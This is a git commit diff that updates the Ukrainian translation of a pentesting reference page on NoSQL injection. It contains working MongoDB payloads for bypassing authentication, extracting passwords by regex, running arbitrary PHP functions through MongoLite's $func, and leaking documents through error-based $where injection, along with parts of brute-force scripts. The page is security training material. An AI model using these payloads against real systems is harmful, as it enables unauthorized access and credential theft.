Translated ['src/pentesting-web/nosql-injection.md'] to uk

This commit is contained in:
Translator 2025-07-08 19:36:07 +00:00
parent 3591511bb9
commit 8504345f1d

View File

@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
``` ```
### Обхід базової аутентифікації ### Обхід базової аутентифікації
**Використання not equal ($ne) або greater ($gt)** **Використання не рівно ($ne) або більше ($gt)**
```bash ```bash
#in URL #in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -76,9 +76,9 @@ in JSON
... ...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
``` ```
### PHP Випадкове Виконання Функцій ### PHP Arbitrary Function Execution
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/). Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -86,7 +86,7 @@ in JSON
### Отримання інформації з різних колекцій ### Отримання інформації з різних колекцій
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону. Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
**ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`. **ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
```json ```json
@ -108,6 +108,12 @@ in JSON
} }
] ]
``` ```
### Error-Based Injection
Вставте `throw new Error(JSON.stringify(this))` у клаузу `$where`, щоб ексфільтрувати повні документи через помилки JavaScript на стороні сервера (вимагає, щоб додаток витікав помилки бази даних). Приклад:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Payloads ## MongoDB Payloads
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@ -176,7 +182,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c)) print("Found one more char : %s" % (password+c))
password += c password += c
``` ```
### Брутфорс логінів та паролів з POST логіна ### Brute-force login usernames and passwords from POST login
Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання. Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
```python ```python
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}